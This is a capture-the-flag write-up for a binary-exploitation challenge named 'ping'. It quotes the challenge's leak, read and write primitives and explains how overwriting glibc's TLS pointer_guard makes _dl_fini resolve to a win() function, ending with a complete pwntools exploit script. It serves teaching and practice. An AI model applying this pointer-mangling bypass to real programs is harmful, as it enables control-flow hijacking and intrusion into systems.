#Challenge Description
ping
#Challenge Overview
The challenge provides four “gifts” in total.
The first gift leaks a memory address within ld.so:
__attribute__((constructor))
void init(){
...
libc_sample = (uintptr_t)&puts;
ld_sample = (uintptr_t)_r_debug.r_ldbase;
...
}
int main(){
...
puts("Here's a little gift");
printf("%#016lx\n", ld_sample);
...
}
Next, we are granted three arbitrary reads at addresses of our choice:
puts("I'll give you a gift, enter a number");
for(int i = 0; i < N_LEAK; i++){
scanf("%ld", &addr);
printf("%#016lx\n", *(uint64_t *)addr);
}
puts("No more gifts now!");
Finally, we get a single arbitrary write:
scanf("%ld", &addr);
scanf("%ld", &value);
__asm__ volatile (
".intel_syntax noprefix;"
"mov QWORD PTR [%0], %1;"
".att_syntax;"
:
: "r" (addr), "r" (value)
: "memory"
);
Our ultimate goal is to hijack control flow and execute the win() function.
Protections:
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
#Exploit
With our initial ld_base leak, we use the first two arbitrary reads to resolve essential memory bases:
**libc_base**: We perform an arbitrary read on a known global/GOT address (0x404070) pointing intolibc. Subtracting the fixed offset (0x82060) yields the base address oflibc**fs_base**(TLS): By reading anld.sointernal allocation pointer atld_base + 0x36bc8(alloc_end), we can calculate the location of the TLS (fs_base) by subtracting its relative offset (0xb18)
Glibc protects critical function pointers (such as destructors registered in _dl_fini or __exit_funcs) using Pointer Mangling (XORing the function pointer with a random secret key and bit-rotating it).
This secret key, known as the pointer_guard, is stored directly inside the TLS at offset 0x30 (fs:0x30 on x86_64).
Using our third and final arbitrary read, we read the value of the active pointer_guard:
guard = fs_base + 0x30
old_guard = read(guard)
When the program exits, ld.so executes registered destruction routines (like _dl_fini).
Instead of trying to overwrite the mangled function pointer directly, we can use our single arbitrary write to overwrite the **pointer_guard** itself at fs_base + 0x30 with a crafted new_guard:
new_guard = (old_guard ^ _dl_fini) ^ exe.sym["win"]
When ld.so later demangles _dl_fini during process termination the resulting ptr is that of the win function.
Full exploit:
def main():
r = conn()
r.recvline()
ld_base = int(r.recvline(), 16)
alloc_end = ld_base + 0x36bc8
r.recvline()
r.sendline(str(0x404070).encode())
libc_base = int(r.recvline(), 16) - 0x82060
r.sendline(str(alloc_end).encode())
fs_base = int(r.recvline(), 16) - 0xb18
_dl_fini = ld_base + 0x5c00
guard = fs_base + 0x30
r.sendline(str(guard).encode())
old_guard = int(r.recvline(), 16)
new_guard = (old_guard ^ _dl_fini) ^ exe.sym["win"]
log.success("ld_base: %s", hex(ld_base))
log.success("_dl_fini: %s", hex(_dl_fini))
log.success("libc_base: %s", hex(libc_base))
log.success("fs_base: %s", hex(fs_base))
log.success("old_guard: %s", hex(old_guard))
log.success("new_guard: %s", hex(new_guard))
log.success("win: %s", hex(exe.sym["win"]))
r.sendline(str(guard).encode())
r.sendline(str(new_guard).encode())
r.interactive()
~SoloPietro & ~utcq